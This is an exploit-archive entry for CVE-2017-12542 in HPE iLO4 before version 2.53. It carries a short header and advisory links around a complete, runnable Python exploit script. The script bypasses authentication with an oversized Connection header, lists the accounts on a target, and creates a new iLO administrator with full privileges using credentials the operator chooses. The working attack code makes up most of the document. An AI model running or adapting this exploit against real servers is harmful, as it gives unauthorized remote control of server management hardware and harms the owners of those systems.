HPE iLO4 < 2.53 Add New Administrator User

2018.02.08
Credit: skelsec
Risk: High
Local: No
Remote: Yes
CWE: N/A

#!/usr/bin/env python """ Exploit trigger was presented @reconbrx 2018 Vulnerability found and documented by synacktiv: https://www.synacktiv.com/posts/exploit/rce-vulnerability-in-hp-ilo.html Original advisory from HP: https://support.hpe.com/hpsc/doc/public/display?docId=hpesbhf03769en_us Other advisories for this CVE: https://tools.cisco.com/security/center/viewAlert.x?alertId=54930 https://securitytracker.com/id/1039222 IMPORTANT: THIS EXPLOIT IS JUST FOR ONE OUT OF THE THREE VULNERABILITES COVERED BY CVE-2017-12542!!! The two other vulns are critical as well, but only triggerable on the host itself. """ import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning import json import urllib3 #all of the HP iLO interfaces run on HTTPS, but most of them are using self-signed SSL cert urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) requests.packages.urllib3.disable_warnings(InsecureRequestWarning) exploit_trigger = {'Connection' : 'A'*29} accounts_url = 'https://%s/rest/v1/AccountService/Accounts' def test(ip): url = accounts_url % ip try: response = requests.get(url, headers = exploit_trigger, verify = False) except Exception as e: return False, 'Could not connect to target %s, Reason: %s' % (ip, str(e)) try: data = json.loads(response.text) except Exception as e: return False, 'Target response not as exected!, Exception data: %s' % (str(e),) return True, data def exploit(ip, username, password): Oem = { 'Hp' : { 'LoginName' : username, 'Privileges': { 'LoginPriv' : True, 'RemoteConsolePriv': True, 'UserConfigPriv' : True, 'VirtualMediaPriv': True, 'iLOConfigPriv':True, 'VirtualPowerAndResetPriv':True, } } } body = { 'UserName':username, 'Password':password, 'Oem':Oem } url = accounts_url % ip try: response = requests.post(url, json=body, headers = exploit_trigger, verify = False) except Exception as e: return False, 'Could not connect to target %s, Reason: %s' % (ip, str(e)) if response.status_code in [requests.codes.ok, requests.codes.created]: return True, response.text else: return False, 'Server returned status code %d, data: %s' % (response.status_code, response.text) if __name__ == '__main__': import argparse import sys parser = argparse.ArgumentParser(description='CVE-2017-12542 Tester and Exploiter script.') parser.add_argument('ip', help='target IP') parser.add_argument('-t', action='store_true', default=True, help='Test. Trigger the exploit and list all users') parser.add_argument('-e', action='store_true', default=False, help='Exploit. Create a new admin user with the credentials specified in -u and -p') parser.add_argument('-u', help='username of the new admin user') parser.add_argument('-p', help='password of the new admin user') args = parser.parse_args() if args.e: if args.u is None or args.p is None: print('Username and password must be set for exploiting!') sys.exit() res, data = exploit(args.ip, args.u, args.p) if res: print('[+] Sucsessfully added user!') else: print('[-] Error! %s' % data) elif args.t: res, data = test(args.ip) if res: print('[+] Target is VULNERABLE!') for i in data['Items']: print('[+] Account name: %s Username: %s' % (i['Name'], i['Oem']['Hp']['LoginName'])) else: print('[-] Error! %s' % data)

References:

https://support.hpe.com/hpsc/doc/public/display?docId=hpesbhf03769en_us
https://tools.cisco.com/security/center/viewAlert.x?alertId=54930
https://securitytracker.com/id/1039222


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